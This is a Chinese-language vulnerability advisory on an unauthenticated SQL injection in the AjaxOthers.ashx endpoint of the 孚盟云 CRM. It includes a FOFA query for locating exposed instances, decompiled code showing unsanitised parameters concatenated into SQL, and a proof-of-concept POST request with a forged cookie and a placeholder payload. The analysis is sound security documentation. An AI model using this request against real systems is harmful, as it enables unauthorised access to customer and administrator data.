漏洞简介

上海孚盟软件有限公司是一家专业的外贸SaaS服务和行业解决方案提供商。其旗下产品孚盟云AjaxOthers.ashx接口存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL注入漏洞获取数据库中的信息(例如，管理员后台密码、站点的用户个人信息)之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

影响版本

fofa语法

app="孚盟软件-孚盟云"

漏洞分析

直接看 AjaxOthers.ashx 对应的dll文件 FumaCRM_BS.NewWeb.dll 里有关 AjaxOthers 方法的实现如下

public void ProcessRequest(HttpContext context)
{
  context.Response.ContentType = "text/plain";
  string str = context.Request["action"];
  if (!string.IsNullOrEmpty(UserCookie.GetCookieValue("empId")))
  {
    this.userId = UserCookie.GetCookieValue("empId");
    this.userId = FumaCRM_BS.Utility.Encrypt.Encrypt.DesDecrypt(this.userId);
  }
  else
    context.Response.Write("-1");
  string s = str;
  // ISSUE: reference to a compiler-generated method
  switch (\u003CPrivateImplementationDetails\u003E.ComputeStringHash(s))
  {
    case 915526031:
      if (!string.op_Equality(s, "saveFeedBack"))
        break;
      this.saveFeedBack(context);
      break;
    case 943109687:
      if (!string.op_Equality(s, "deletePerson"))
        break;
      this.deletePerson(context);
      break;
    case 1450188932:
      if (!string.op_Equality(s, "getDepartHtml"))
        break;
      this.getDepartHtml(context);
      break;
    case 1493573425:
      if (!string.op_Equality(s, "getPersonCount"))
        break;
      this.getPersonCount(context);
      break;
    case 2901096358:
      if (!string.op_Equality(s, "GetCheckRepeatData"))
        break;
      this.GetCheckRepeatData(context);
      break;
    case 3002226797:
      if (!string.op_Equality(s, "savePerson"))
        break;
      this.savePerson(context);
      break;
    case 4085212745:
      if (!string.op_Equality(s, "deletePersonCookie"))
        break;
      this.deletePersonCookie(context);
      break;
  }
}

当action=GetCheckRepeatData时，进入GetCheckRepeatData方法

private void GetCheckRepeatData(HttpContext context)
{
  string str1 = string.IsNullOrEmpty(context.Request["field"]) ? "BriefName" : context.Request["field"];
  string str2 = string.IsNullOrEmpty(context.Request["tableName"]) ? "bfCustomers" : context.Request["tableName"];
  string str3 = context.Request["searchVal"];
  string str4 = context.Request["type"];
  string str5 = context.Request["sqlwhere"];
  string str6 = "";
  if (string.op_Equality(str4, "customer"))
  {
    string cookieValue = UserCookie.GetCookieValue("corpId");
    if (string.IsNullOrEmpty(ConfigurationManager.AppSettings["CheckRepeat"]))
    {
      if (!string.IsNullOrEmpty(str3))
      {
        string SQLString = $"select top 10 * from {str2} where {str1} like '%{str3}%'";
        if (!string.IsNullOrEmpty(str5))
          SQLString = $"{SQLString} and {str5}";
        DataSet dataSet = new DbHelperSql(cookieValue).Query(SQLString);
        if (dataSet != null)

当type=customer时，参数searchVal被直接拼接进SQL语句中执行，期间无过滤或校验，从而造成SQL注入漏洞。

漏洞复现

POST /m/Dingding/Ajax/AjaxOthers.ashx HTTP/1.1
Host: fumacrm.mrxn.net
Cookie: UserCookie={"empId":"1"}
Content-Type: application/x-www-form-urlencoded

action=GetCheckRepeatData&searchVal=SQLI_POC&type=customer

成功延时 4 秒